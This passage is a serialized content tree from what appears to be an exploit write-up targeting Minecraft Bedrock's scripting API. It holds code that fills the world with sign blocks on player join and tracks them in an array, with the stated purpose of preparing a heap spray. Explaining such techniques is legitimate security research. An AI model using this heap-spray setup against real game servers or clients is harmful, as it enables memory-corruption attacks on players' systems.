:28,"value":995},{"type":23,"tag":139,"props":148588,"children":148589},{"class":141,"line":1831},[148590],{"type":23,"tag":139,"props":148591,"children":148592},{"emptyLinePlaceholder":15},[148593],{"type":28,"value":184},{"type":23,"tag":139,"props":148595,"children":148596},{"class":141,"line":1891},[148597,148601,148605,148610,148614,148619],{"type":23,"tag":139,"props":148598,"children":148599},{"style":294},[148600],{"type":28,"value":148530},{"type":23,"tag":139,"props":148602,"children":148603},{"style":259},[148604],{"type":28,"value":73},{"type":23,"tag":139,"props":148606,"children":148607},{"style":294},[148608],{"type":28,"value":148609},"block",{"type":23,"tag":139,"props":148611,"children":148612},{"style":259},[148613],{"type":28,"value":73},{"type":23,"tag":139,"props":148615,"children":148616},{"style":245},[148617],{"type":28,"value":148618},"setPermutation",{"type":23,"tag":139,"props":148620,"children":148621},{"style":259},[148622],{"type":28,"value":1443},{"type":23,"tag":139,"props":148624,"children":148625},{"class":141,"line":7053},[148626,148631,148635,148640,148644,148649],{"type":23,"tag":139,"props":148627,"children":148628},{"style":294},[148629],{"type":28,"value":148630},"        BlockPermutation",{"type":23,"tag":139,"props":148632,"children":148633},{"style":259},[148634],{"type":28,"value":73},{"type":23,"tag":139,"props":148636,"children":148637},{"style":245},[148638],{"type":28,"value":148639},"resolve",{"type":23,"tag":139,"props":148641,"children":148642},{"style":259},[148643],{"type":28,"value":262},{"type":23,"tag":139,"props":148645,"children":148646},{"style":265},[148647],{"type":28,"value":148648},"\"minecraft:air\"",{"type":23,"tag":139,"props":148650,"children":148651},{"style":259},[148652],{"type":28,"value":273},{"type":23,"tag":139,"props":148654,"children":148655},{"class":141,"line":7071},[148656],{"type":23,"tag":139,"props":148657,"children":148658},{"style":259},[148659],{"type":28,"value":41550},{"type":23,"tag":139,"props":148661,"children":148662},{"class":141,"line":7116},[148663,148667,148671,148675,148679,148683],{"type":23,"tag":139,"props":148664,"children":148665},{"style":294},[148666],{"type":28,"value":148530},{"type":23,"tag":139,"props":148668,"children":148669},{"style":259},[148670],{"type":28,"value":73},{"type":23,"tag":139,"props":148672,"children":148673},{"style":294},[148674],{"type":28,"value":130869},{"type":23,"tag":139,"props":148676,"children":148677},{"style":982},[148678],{"type":28,"value":985},{"type":23,"tag":139,"props":148680,"children":148681},{"style":279},[148682],{"type":28,"value":10480},{"type":23,"tag":139,"props":148684,"children":148685},{"style":259},[148686],{"type":28,"value":995},{"type":23,"tag":139,"props":148688,"children":148689},{"class":141,"line":7222},[148690],{"type":23,"tag":139,"props":148691,"children":148692},{"style":259},[148693],{"type":28,"value":1897},{"type":23,"tag":24,"props":148695,"children":148696},{},[148697,148699,148705],{"type":28,"value":148698},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":23,"tag":135,"props":148700,"children":148702},{"className":148701},[],[148703],{"type":28,"value":148704},"signs",{"type":28,"value":148706}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":23,"tag":128,"props":148708,"children":148710},{"code":148709,"language":33505,"meta":7,"className":33503,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[148711],{"type":23,"tag":135,"props":148712,"children":148713},{"__ignoreMap":7},[148714,148729,148736,148752,148769,148776,148838,148900,148907,148923,148931,148953,148979,149004,149024,149053,149065,149072,149080,149102,149136,149143,149163,149179,149195,149211,149223,149231,149238,149245,149252,149259,149275,149290,149297,149356,149415,149422,149437,149445,149473,149501,149509,149516,149535,149562,149569,149576,149591,149598,149605,149612,149619,149675,149687,149694,149701,149762,149774],{"type":23,"tag":139,"props":148715,"children":148716},{"class":141,"line":142},[148717,148721,148725],{"type":23,"tag":139,"props":148718,"children":148719},{"style":279},[148720],{"type":28,"value":9798},{"type":23,"tag":139,"props":148722,"children":148723},{"style":294},[148724],{"type":28,"value":148164},{"type":23,"tag":139,"props":148726,"children":148727},{"style":259},[148728],{"type":28,"value":995},{"type":23,"tag":139,"props":148730,"children":148731},{"class":141,"line":151},[148732],{"type":23,"tag":139,"props":148733,"children":148734},{"emptyLinePlaceholder":15},[148735],{"type":28,"value":184},{"type":23,"tag":139,"props":148737,"children":148738},{"class":141,"line":160},[148739,148743,148748],{"type":23,"tag":139,"props":148740,"children":148741},{"style":279},[148742],{"type":28,"value":29264},{"type":23,"tag":139,"props":148744,"children":148745},{"style":245},[148746],{"type":28,"value":148747}," create_wall",{"type":23,"tag":139,"props":148749,"children":148750},{"style":259},[148751],{"type":28,"value":13747},{"type":23,"tag":139,"props":148753,"children":148754},{"class":141,"line":169},[148755,148760,148764],{"type":23,"tag":139,"props":148756,"children":148757},{"style":294},[148758],{"type":28,"value":148759},"    signs",{"type":23,"tag":139,"props":148761,"children":148762},{"style":982},[148763],{"type":28,"value":985},{"type":23,"tag":139,"props":148765,"children":148766},{"style":259},[148767],{"type":28,"value":148768}," [];\n",{"type":23,"tag":139,"props":148770,"children":148771},{"class":141,"line":178},[148772],{"type":23,"tag":139,"props":148773,"children":148774},{"emptyLinePlaceholder":15},[148775],{"type":28,"value":184},{"type":23,"tag":139,"props":148777,"children":148778},{"class":141,"line":187},[148779,148783,148787,148791,148796,148800,148804,148808,148813,148817,148822,148826,148830,148834],{"type":23,"tag":139,"props":148780,"children":148781},{"style":319},[148782],{"type":28,"value":1003},{"type":23,"tag":139,"props":148784,"children":148785},{"style":259},[148786],{"type":28,"value":1042},{"type":23,"tag":139,"props":148788,"children":148789},{"style":279},[148790],{"type":28,"value":9798},{"type":23,"tag":139,"props":148792,"children":148793},{"style":294},[148794],{"type":28,"value":148795}," current_y",{"type":23,"tag":139,"props":148797,"children":148798},{"style":982},[148799],{"type":28,"value":985},{"type":23,"tag":139,"props":148801,"children":148802},{"style":1016},[148803],{"type":28,"value":1019},{"type":23,"tag":139,"props":148805,"children":148806},{"style":259},[148807],{"type":28,"value":15239},{"type":23,"tag":139,"props":148809,"children":148810},{"style":294},[148811],{"type":28,"value":148812},"current_y",{"type":23,"tag":139,"props":148814,"children":148815},{"style":982},[148816],{"type":28,"value":6724},{"type":23,"tag":139,"props":148818,"children":148819},{"style":294},[148820],{"type":28,"value":148821}," WALL_HEIGHT",{"type":23,"tag":139,"props":148823,"children":148824},{"style":259},[148825],{"type":28,"value":15239},{"type":23,"tag":139,"props":148827,"children":148828},{"style":294},[148829],{"type":28,"value":148812},{"type":23,"tag":139,"props":148831,"children":148832},{"style":982},[148833],{"type":28,"value":49167},{"type":23,"tag":139,"props":148835,"children":148836},{"style":259},[148837],{"type":28,"value":12815},{"type":23,"tag":139,"props":148839,"children":148840},{"class":141,"line":196},[148841,148845,148849,148853,148858,148862,148866,148870,148875,148879,148884,148888,148892,148896],{"type":23,"tag":139,"props":148842,"children":148843},{"style":319},[148844],{"type":28,"value":58476},{"type":23,"tag":139,"props":148846,"children":148847},{"style":259},[148848],{"type":28,"value":1042},{"type":23,"tag":139,"props":148850,"children":148851},{"style":279},[148852],{"type":28,"value":9798},{"type":23,"tag":139,"props":148854,"children":148855},{"style":294},[148856],{"type":28,"value":148857}," current_x",{"type":23,"tag":139,"props":148859,"children":148860},{"style":982},[148861],{"type":28,"value":985},{"type":23,"tag":139,"props":148863,"children":148864},{"style":1016},[148865],{"type":28,"value":1019},{"type":23,"tag":139,"props":148867,"children":148868},{"style":259},[148869],{"type":28,"value":15239},{"type":23,"tag":139,"props":148871,"children":148872},{"style":294},[148873],{"type":28,"value":148874},"current_x",{"type":23,"tag":139,"props":148876,"children":148877},{"style":982},[148878],{"type":28,"value":6724},{"type":23,"tag":139,"props":148880,"children":148881},{"style":294},[148882],{"type":28,"value":148883}," WALL_WIDTH",{"type":23,"tag":139,"props":148885,"children":148886},{"style":259},[148887],{"type":28,"value":15239},{"type":23,"tag":139,"props":148889,"children":148890},{"style":294},[148891],{"type":28,"value":148874},{"type":23,"tag":139,"props":148893,"children":148894},{"style":982},[148895],{"type":28,"value":49167},{"type":23,"tag":139,"props":148897,"children":148898},{"style":259},[148899],{"type":28,"value":12815},{"type":23,"tag":139,"props":148901,"children":148902},{"class":141,"line":205},[148903],{"type":23,"tag":139,"props":148904,"children":148905},{"emptyLinePlaceholder":15},[148906],{"type":28,"value":184},{"type":23,"tag":139,"props":148908,"children":148909},{"class":141,"line":214},[148910,148915,148919],{"type":23,"tag":139,"props":148911,"children":148912},{"style":259},[148913],{"type":28,"value":148914},"            [",{"type":23,"tag":139,"props":148916,"children":148917},{"style":982},[148918],{"type":28,"value":7599},{"type":23,"tag":139,"props":148920,"children":148921},{"style":259},[148922],{"type":28,"value":9783},{"type":23,"tag":139,"props":148924,"children":148925},{"class":141,"line":1320},[148926],{"type":23,"tag":139,"props":148927,"children":148928},{"style":259},[148929],{"type":28,"value":148930},"            \n",{"type":23,"tag":139,"props":148932,"children":148933},{"class":141,"line":1329},[148934,148939,148944,148948],{"type":23,"tag":139,"props":148935,"children":148936},{"style":279},[148937],{"type":28,"value":148938},"            const",{"type":23,"tag":139,"props":148940,"children":148941},{"style":294},[148942],{"type":28,"value":148943}," sign_block",{"type":23,"tag":139,"props":148945,"children":148946},{"style":982},[148947],{"type":28,"value":985},{"type":23,"tag":139,"props":148949,"children":148950},{"style":294},[148951],{"type":28,"value":148952}," world\n",{"type":23,"tag":139,"props":148954,"children":148955},{"class":141,"line":1580},[148956,148961,148966,148970,148975],{"type":23,"tag":139,"props":148957,"children":148958},{"style":259},[148959],{"type":28,"value":148960},"                .",{"type":23,"tag":139,"props":148962,"children":148963},{"style":245},[148964],{"type":28,"value":148965},"getDimension",{"type":23,"tag":139,"props":148967,"children":148968},{"style":259},[148969],{"type":28,"value":262},{"type":23,"tag":139,"props":148971,"children":148972},{"style":265},[148973],{"type":28,"value":148974},"\"overworld\"",{"type":23,"tag":139,"props":148976,"children":148977},{"style":259},[148978],{"type":28,"value":273},{"type":23,"tag":139,"props":148980,"children":148981},{"class":141,"line":1597},[148982,148986,148991,148995,149000],{"type":23,"tag":139,"props":148983,"children":148984},{"style":259},[148985],{"type":28,"value":148960},{"type":23,"tag":139,"props":148987,"children":148988},{"style":245},[148989],{"type":28,"value":148990},"getBlock",{"type":23,"tag":139,"props":148992,"children":148993},{"style":259},[148994],{"type":28,"value":262},{"type":23,"tag":139,"props":148996,"children":148997},{"style":294},[148998],{"type":28,"value":148999},"sign_location",{"type":23,"tag":139,"props":149001,"children":149002},{"style":259},[149003],{"type":28,"value":1820},{"type":23,"tag":139,"props":149005,"children":149006},{"class":141,"line":1614},[149007,149012,149016,149020],{"type":23,"tag":139,"props":149008,"children":149009},{"style":294},[149010],{"type":28,"value":149011},"            sign_block",{"type":23,"tag":139,"props":149013,"children":149014},{"style":259},[149015],{"type":28,"value":73},{"type":23,"tag":139,"props":149017,"children":149018},{"style":245},[149019],{"type":28,"value":148618},{"type":23,"tag":139,"props":149021,"children":149022},{"style":259},[149023],{"type":28,"value":1443},{"type":23,"tag":139,"props":149025,"children":149026},{"class":141,"line":1627},[149027,149032,149036,149040,149044,149049],{"type":23,"tag":139,"props":149028,"children":149029},{"style":294},[149030],{"type":28,"value":149031},"                BlockPermutation",{"type":23,"tag":139,"props":149033,"children":149034},{"style":259},[149035],{"type":28,"value":73},{"type":23,"tag":139,"props":149037,"children":149038},{"style":245},[149039],{"type":28,"value":148639},{"type":23,"tag":139,"props":149041,"children":149042},{"style":259},[149043],{"type":28,"value":262},{"type":23,"tag":139,"props":149045,"children":149046},{"style":265},[149047],{"type":28,"value":149048},"\"minecraft:wall_sign\"",{"type":23,"tag":139,"props":149050,"children":149051},{"style":259},[149052],{"type":28,"value":46779},{"type":23,"tag":139,"props":149054,"children":149055},{"class":141,"line":1636},[149056,149061],{"type":23,"tag":139,"props":149057,"children":149058},{"style":294},[149059],{"type":28,"value":149060},"                    facing_direction:",{"type":23,"tag":139,"props":149062,"children":149063},{"style":1016},[149064],{"type":28,"value":17335},{"type":23,"tag":139,"props":149066,"children":149067},{"class":141,"line":1659},[149068],{"type":23,"tag":139,"props":149069,"children":149070},{"style":259},[149071],{"type":28,"value":68973},{"type":23,"tag":139,"props":149073,"children":149074},{"class":141,"line":1667},[149075],{"type":23,"tag":139,"props":149076,"children":149077},{"style":259},[149078],{"type":28,"value":149079},"            ));\n",{"type":23,"tag":139,"props":149081,"children":149082},{"class":141,"line":1676},[149083,149088,149093,149097],{"type":23,"tag":139,"props":149084,"children":149085},{"style":279},[149086],{"type":28,"value":149087},"            let",{"type":23,"tag":139,"props":149089,"children":149090},{"style":294},[149091],{"type":28,"value":149092}," sign_component",{"type":23,"tag":139,"props":149094,"children":149095},{"style":982},[149096],{"type":28,"value":985},{"type":23,"tag":139,"props":149098,"children":149099},{"style":294},[149100],{"type":28,"value":149101}," sign_block\n",{"type":23,"tag":139,"props":149103,"children":149104},{"class":141,"line":1745},[149105,149109,149114,149118,149123,149127,149132],{"type":23,"tag":139,"props":149106,"children":149107},{"style":259},[149108],{"type":28,"value":148960},{"type":23,"tag":139,"props":149110,"children":149111},{"style":245},[149112],{"type":28,"value":149113},"getComponent",{"type":23,"tag":139,"props":149115,"children":149116},{"style":259},[149117],{"type":28,"value":262},{"type":23,"tag":139,"props":149119,"children":149120},{"style":294},[149121],{"type":28,"value":149122},"BlockComponentTypes",{"type":23,"tag":139,"props":149124,"children":149125},{"style":259},[149126],{"type":28,"value":73},{"type":23,"tag":139,"props":149128,"children":149129},{"style":294},[149130],{"type":28,"value":149131},"Sign",{"type":23,"tag":139,"props":149133,"children":149134},{"style":259},[149135],{"type":28,"value":1820},{"type":23,"tag":139,"props":149137,"children":149138},{"class":141,"line":1753},[149139],{"type":23,"tag":139,"props":149140,"children":149141},{"emptyLinePlaceholder":15},[149142],{"type":28,"value":184},{"type":23,"tag":139,"props":149144,"children":149145},{"class":141,"line":1783},[149146,149151,149155,149159],{"type":23,"tag":139,"props":149147,"children":149148},{"style":294},[149149],{"type":28,"value":149150},"            signs",{"type":23,"tag":139,"props":149152,"children":149153},{"style":259},[149154],{"type":28,"value":73},{"type":23,"tag":139,"props":149156,"children":149157},{"style":245},[149158],{"type":28,"value":1806},{"type":23,"tag":139,"props":149160,"children":149161},{"style":259},[149162],{"type":28,"value":13152},{"type":23,"tag":139,"props":149164,"children":149165},{"class":141,"line":1791},[149166,149171,149175],{"type":23,"tag":139,"props":149167,"children":149168},{"style":294},[149169],{"type":28,"value":149170},"                sign:",{"type":23,"tag":139,"props":149172,"children":149173},{"style":294},[149174],{"type":28,"value":149092},{"type":23,"tag":139,"props":149176,"children":149177},{"style":259},[149178],{"type":28,"value":1488},{"type":23,"tag":139,"props":149180,"children":149181},{"class":141,"line":1823},[149182,149187,149191],{"type":23,"tag":139,"props":149183,"children":149184},{"style":294},[149185],{"type":28,"value":149186},"                allocated:",{"type":23,"tag":139,"props":149188,"children":149189},{"style":279},[149190],{"type":28,"value":7064},{"type":23,"tag":139,"props":149192,"children":149193},{"style":259},[149194],{"type":28,"value":1488},{"type":23,"tag":139,"props":149196,"children":149197},{"class":141,"line":1831},[149198,149203,149207],{"type":23,"tag":139,"props":149199,"children":149200},{"style":294},[149201],{"type":28,"value":149202},"                block:",{"type":23,"tag":139,"props":149204,"children":149205},{"style":294},[149206],{"type":28,"value":148943},{"type":23,"tag":139,"props":149208,"children":149209},{"style":259},[149210],{"type":28,"value":1488},{"type":23,"tag":139,"props":149212,"children":149213},{"class":141,"line":1891},[149214,149219],{"type":23,"tag":139,"props":149215,"children":149216},{"style":294},[149217],{"type":28,"value":149218},"                removed:",{"type":23,"tag":139,"props":149220,"children":149221},{"style":279},[149222],{"type":28,"value":10322},{"type":23,"tag":139,"props":149224,"children":149225},{"class":141,"line":7053},[149226],{"type":23,"tag":139,"props":149227,"children":149228},{"style":259},[149229],{"type":28,"value":149230},"            });\n",{"type":23,"tag":139,"props":149232,"children":149233},{"class":141,"line":7071},[149234],{"type":23,"tag":139,"props":149235,"children":149236},{"style":259},[149237],{"type":28,"value":1326},{"type":23,"tag":139,"props":149239,"children":149240},{"class":141,"line":7116},[149241],{"type":23,"tag":139,"props":149242,"children":149243},{"style":259},[149244],{"type":28,"value":1335},{"type":23,"tag":139,"props":149246,"children":149247},{"class":141,"line":7222},[149248],{"type":23,"tag":139,"props":149249,"children":149250},{"style":259},[149251],{"type":28,"value":1897},{"type":23,"tag":139,"props":149253,"children":149254},{"class":141,"line":21518},[149255],{"type":23,"tag":139,"props":149256,"children":149257},{"emptyLinePlaceholder":15},[149258],{"type":28,"value":184},{"type":23,"tag":139,"props":149260,"children":149261},{"class":141,"line":21553},[149262,149266,149271],{"type":23,"tag":139,"props":149263,"children":149264},{"style":279},[149265],{"type":28,"value":29264},{"type":23,"tag":139,"props":149267,"children":149268},{"style":245},[149269],{"type":28,"value":149270}," remove_wall",{"type":23,"tag":139,"props":149272,"children":149273},{"style":259},[149274],{"type":28,"value":13747},{"type":23,"tag":139,"props":149276,"children":149277},{"class":141,"line":21561},[149278,149282,149286],{"type":23,"tag":139,"props":149279,"children":149280},{"style":294},[149281],{"type":28,"value":148759},{"type":23,"tag":139,"props":149283,"children":149284},{"style":982},[149285],{"type":28,"value":985},{"type":23,"tag":139,"props":149287,"children":149288},{"style":259},[149289],{"type":28,"value":148768},{"type":23,"tag":139,"props":149291,"children":149292},{"class":141,"line":21569},[149293],{"type":23,"tag":139,"props":149294,"children":149295},{"style":259},[149296],{"type":28,"value":59686},{"type":23,"tag":139,"props":149298,"children":149299},{"class":141,"line":21578},[149300,149304,149308,149312,149316,149320,149324,149328,149332,149336,149340,149344,149348,149352],{"type":23,"tag":139,"props":149301,"children":149302},{"style":319},[149303],{"type":28,"value":1003},{"type":23,"tag":139,"props":149305,"children":149306},{"style":259},[149307],{"type":28,"value":1042},{"type":23,"tag":139,"props":149309,"children":149310},{"style":279},[149311],{"type":28,"value":9798},{"type":23,"tag":139,"props":149313,"children":149314},{"style":294},[149315],{"type":28,"value":148795},{"type":23,"tag":139,"props":149317,"children":149318},{"style":982},[149319],{"type":28,"value":985},{"type":23,"tag":139,"props":149321,"children":149322},{"style":1016},[149323],{"type":28,"value":1019},{"type":23,"tag":139,"props":149325,"children":149326},{"style":259},[149327],{"type":28,"value":15239},{"type":23,"tag":139,"props":149329,"children":149330},{"style":294},[149331],{"type":28,"value":148812},{"type":23,"tag":139,"props":149333,"children":149334},{"style":982},[149335],{"type":28,"value":6724},{"type":23,"tag":139,"props":149337,"children":149338},{"style":294},[149339],{"type":28,"value":148821},{"type":23,"tag":139,"props":149341,"children":149342},{"style":259},[149343],{"type":28,"value":15239},{"type":23,"tag":139,"props":149345,"children":149346},{"style":294},[149347],{"type":28,"value":148812},{"type":23,"tag":139,"props":149349,"children":149350},{"style":982},[149351],{"type":28,"value":49167},{"type":23,"tag":139,"props":149353,"children":149354},{"style":259},[149355],{"type":28,"value":12815},{"type":23,"tag":139,"props":149357,"children":149358},{"class":141,"line":21620},[149359,149363,149367,149371,149375,149379,149383,149387,149391,149395,149399,149403,149407,149411],{"type":23,"tag":139,"props":149360,"children":149361},{"style":319},[149362],{"type":28,"value":58476},{"type":23,"tag":139,"props":149364,"children":149365},{"style":259},[149366],{"type":28,"value":1042},{"type":23,"tag":139,"props":149368,"children":149369},{"style":279},[149370],{"type":28,"value":9798},{"type":23,"tag":139,"props":149372,"children":149373},{"style":294},[149374],{"type":28,"value":148857},{"type":23,"tag":139,"props":149376,"children":149377},{"style":982},[149378],{"type":28,"value":985},{"type":23,"tag":139,"props":149380,"children":149381},{"style":1016},[149382],{"type":28,"value":1019},{"type":23,"tag":139,"props":149384,"children":149385},{"style":259},[149386],{"type":28,"value":15239},{"type":23,"tag":139,"props":149388,"children":149389},{"style":294},[149390],{"type":28,"value":148874},{"type":23,"tag":139,"props":149392,"children":149393},{"style":982},[149394],{"type":28,"value":6724},{"type":23,"tag":139,"props":149396,"children":149397},{"style":294},[149398],{"type":28,"value":148883},{"type":23,"tag":139,"props":149400,"children":149401},{"style":259},[149402],{"type":28,"value":15239},{"type":23,"tag":139,"props":149404,"children":149405},{"style":294},[149406],{"type":28,"value":148874},{"type":23,"tag":139,"props":149408,"children":149409},{"style":982},[149410],{"type":28,"value":49167},{"type":23,"tag":139,"props":149412,"children":149413},{"style":259},[149414],{"type":28,"value":12815},{"type":23,"tag":139,"props":149416,"children":149417},{"class":141,"line":21653},[149418],{"type":23,"tag":139,"props":149419,"children":149420},{"style":259},[149421],{"type":28,"value":148930},{"type":23,"tag":139,"props":149423,"children":149424},{"class":141,"line":21661},[149425,149429,149433],{"type":23,"tag":139,"props":149426,"children":149427},{"style":259},[149428],{"type":28,"value":148914},{"type":23,"tag":139,"props":149430,"children":149431},{"style":982},[149432],{"type":28,"value":7599},{"type":23,"tag":139,"props":149434,"children":149435},{"style":259},[149436],{"type":28,"value":9783},{"type":23,"tag":139,"props":149438,"children":149439},{"class":141,"line":21669},[149440],{"type":23,"tag":139,"props":149441,"children":149442},{"style":259},[149443],{"type":28,"value":149444},"             \n",{"type":23,"tag":139,"props":149446,"children":149447},{"class":141,"line":21678},[149448,149452,149456,149460,149464,149469],{"type":23,"tag":139,"props":149449,"children":149450},{"style":279},[149451],{"type":28,"value":148938},{"type":23,"tag":139,"props":149453,"children":149454},{"style":294},[149455],{"type":28,"value":148943},{"type":23,"tag":139,"props":149457,"children":149458},{"style":982},[149459],{"type":28,"value":985},{"type":23,"tag":139,"props":149461,"children":149462},{"style":319},[149463],{"type":28,"value":34101},{"type":23,"tag":139,"props":149465,"children":149466},{"style":245},[149467],{"type":28,"value":149468}," wait_for_block",{"type":23,"tag":139,"props":149470,"children":149471},{"style":259},[149472],{"type":28,"value":1443},{"type":23,"tag":139,"props":149474,"children":149475},{"class":141,"line":21754},[149476,149481,149485,149489,149493,149497],{"type":23,"tag":139,"props":149477,"children":149478},{"style":294},[149479],{"type":28,"value":149480},"                world",{"type":23,"tag":139,"props":149482,"children":149483},{"style":259},[149484],{"type":28,"value":73},{"type":23,"tag":139,"props":149486,"children":149487},{"style":245},[149488],{"type":28,"value":148965},{"type":23,"tag":139,"props":149490,"children":149491},{"style":259},[149492],{"type":28,"value":262},{"type":23,"tag":139,"props":149494,"children":149495},{"style":265},[149496],{"type":28,"value":148974},{"type":23,"tag":139,"props":149498,"children":149499},{"style":259},[149500],{"type":28,"value":4739},{"type":23,"tag":139,"props":149502,"children":149503},{"class":141,"line":21787},[149504],{"type":23,"tag":139,"props":149505,"children":149506},{"style":294},[149507],{"type":28,"value":149508},"                sign_location\n",{"type":23,"tag":139,"props":149510,"children":149511},{"class":141,"line":21795},[149512],{"type":23,"tag":139,"props":149513,"children":149514},{"style":259},[149515],{"type":28,"value":123018},{"type":23,"tag":139,"props":149517,"children":149518},{"class":141,"line":21803},[149519,149523,149527,149531],{"type":23,"tag":139,"props":149520,"children":149521},{"style":294},[149522],{"type":28,"value":149011},{"type":23,"tag":139,"props":149524,"children":149525},{"style":259},[149526],{"type":28,"value":73},{"type":23,"tag":139,"props":149528,"children":149529},{"style":245},[149530],{"type":28,"value":148618},{"type":23,"tag":139,"props":149532,"children":149533},{"style":259},[149534],{"type":28,"value":1443},{"type":23,"tag":139,"props":149536,"children":149537},{"class":141,"line":21840},[149538,149542,149546,149550,149554,149558],{"type":23,"tag":139,"props":149539,"children":149540},{"style":294},[149541],{"type":28,"value":149031},{"type":23,"tag":139,"props":149543,"children":149544},{"style":259},[149545],{"type":28,"value":73},{"type":23,"tag":139,"props":149547,"children":149548},{"style":245},[149549],{"type":28,"value":148639},{"type":23,"tag":139,"props":149551,"children":149552},{"style":259},[149553],{"type":28,"value":262},{"type":23,"tag":139,"props":149555,"children":149556},{"style":265},[149557],{"type":28,"value":148648},{"type":23,"tag":139,"props":149559,"children":149560},{"style":259},[149561],{"type":28,"value":273},{"type":23,"tag":139,"props":149563,"children":149564},{"class":141,"line":21853},[149565],{"type":23,"tag":139,"props":149566,"children":149567},{"style":259},[149568],{"type":28,"value":123018},{"type":23,"tag":139,"props":149570,"children":149571},{"class":141,"line":21866},[149572],{"type":23,"tag":139,"props":149573,"children":149574},{"emptyLinePlaceholder":15},[149575],{"type":28,"value":184},{"type":23,"tag":139,"props":149577,"children":149578},{"class":141,"line":21879},[149579,149583,149587],{"type":23,"tag":139,"props":149580,"children":149581},{"style":259},[149582],{"type":28,"value":148914},{"type":23,"tag":139,"props":149584,"children":149585},{"style":982},[149586],{"type":28,"value":7599},{"type":23,"tag":139,"props":149588,"children":149589},{"style":259},[149590],{"type":28,"value":9783},{"type":23,"tag":139,"props":149592,"children":149593},{"class":141,"line":21933},[149594],{"type":23,"tag":139,"props":149595,"children":149596},{"style":259},[149597],{"type":28,"value":1326},{"type":23,"tag":139,"props":149599,"children":149600},{"class":141,"line":21942},[149601],{"type":23,"tag":139,"props":149602,"children":149603},{"style":259},[149604],{"type":28,"value":1335},{"type":23,"tag":139,"props":149606,"children":149607},{"class":141,"line":30168},[149608],{"type":23,"tag":139,"props":149609,"children":149610},{"style":259},[149611],{"type":28,"value":1897},{"type":23,"tag":139,"props":149613,"children":149614},{"class":141,"line":30189},[149615],{"type":23,"tag":139,"props":149616,"children":149617},{"emptyLinePlaceholder":15},[149618],{"type":28,"value":184},{"type":23,"tag":139,"props":149620,"children":149621},{"class":141,"line":78855},[149622,149627,149631,149636,149640,149645,149649,149654,149658,149663,149667,149671],{"type":23,"tag":139,"props":149623,"children":149624},{"style":294},[149625],{"type":28,"value":149626},"world",{"type":23,"tag":139,"props":149628,"children":149629},{"style":259},[149630],{"type":28,"value":73},{"type":23,"tag":139,"props":149632,"children":149633},{"style":294},[149634],{"type":28,"value":149635},"afterEvents",{"type":23,"tag":139,"props":149637,"children":149638},{"style":259},[149639],{"type":28,"value":73},{"type":23,"tag":139,"props":149641,"children":149642},{"style":294},[149643],{"type":28,"value":149644},"playerSpawn",{"type":23,"tag":139,"props":149646,"children":149647},{"style":259},[149648],{"type":28,"value":73},{"type":23,"tag":139,"props":149650,"children":149651},{"style":245},[149652],{"type":28,"value":149653},"subscribe",{"type":23,"tag":139,"props":149655,"children":149656},{"style":259},[149657],{"type":28,"value":29410},{"type":23,"tag":139,"props":149659,"children":149660},{"style":294},[149661],{"type":28,"value":149662},"arg",{"type":23,"tag":139,"props":149664,"children":149665},{"style":259},[149666],{"type":28,"value":1062},{"type":23,"tag":139,"props":149668,"children":149669},{"style":279},[149670],{"type":28,"value":12833},{"type":23,"tag":139,"props":149672,"children":149673},{"style":259},[149674],{"type":28,"value":1268},{"type":23,"tag":139,"props":149676,"children":149677},{"class":141,"line":78868},[149678,149683],{"type":23,"tag":139,"props":149679,"children":149680},{"style":245},[149681],{"type":28,"value":149682},"    create_wall",{"type":23,"tag":139,"props":149684,"children":149685},{"style":259},[149686],{"type":28,"value":1656},{"type":23,"tag":139,"props":149688,"children":149689},{"class":141,"line":78876},[149690],{"type":23,"tag":139,"props":149691,"children":149692},{"style":259},[149693],{"type":28,"value":33227},{"type":23,"tag":139,"props":149695,"children":149696},{"class":141,"line":78884},[149697],{"type":23,"tag":139,"props":149698,"children":149699},{"emptyLinePlaceholder":15},[149700],{"type":28,"value":184},{"type":23,"tag":139,"props":149702,"children":149703},{"class":141,"line":78892},[149704,149708,149712,149717,149721,149726,149730,149734,149738,149742,149746,149750,149754,149758],{"type":23,"tag":139,"props":149705,"children":149706},{"style":294},[149707],{"type":28,"value":149626},{"type":23,"tag":139,"props":149709,"children":149710},{"style":259},[149711],{"type":28,"value":73},{"type":23,"tag":139,"props":149713,"children":149714},{"style":294},[149715],{"type":28,"value":149716},"beforeEvents",{"type":23,"tag":139,"props":149718,"children":149719},{"style":259},[149720],{"type":28,"value":73},{"type":23,"tag":139,"props":149722,"children":149723},{"style":294},[149724],{"type":28,"value":149725},"playerLeave",{"type":23,"tag":139,"props":149727,"children":149728},{"style":259},[149729],{"type":28,"value":73},{"type":23,"tag":139,"props":149731,"children":149732},{"style":245},[149733],{"type":28,"value":149653},{"type":23,"tag":139,"props":149735,"children":149736},{"style":259},[149737],{"type":28,"value":262},{"type":23,"tag":139,"props":149739,"children":149740},{"style":279},[149741],{"type":28,"value":34035},{"type":23,"tag":139,"props":149743,"children":149744},{"style":259},[149745],{"type":28,"value":1042},{"type":23,"tag":139,"props":149747,"children":149748},{"style":294},[149749],{"type":28,"value":149662},{"type":23,"tag":139,"props":149751,"children":149752},{"style":259},[149753],{"type":28,"value":1062},{"type":23,"tag":139,"props":149755,"children":149756},{"style":279},[149757],{"type":28,"value":12833},{"type":23,"tag":139,"props":149759,"children":149760},{"style":259},[149761],{"type":28,"value":1268},{"type":23,"tag":139,"props":149763,"children":149764},{"c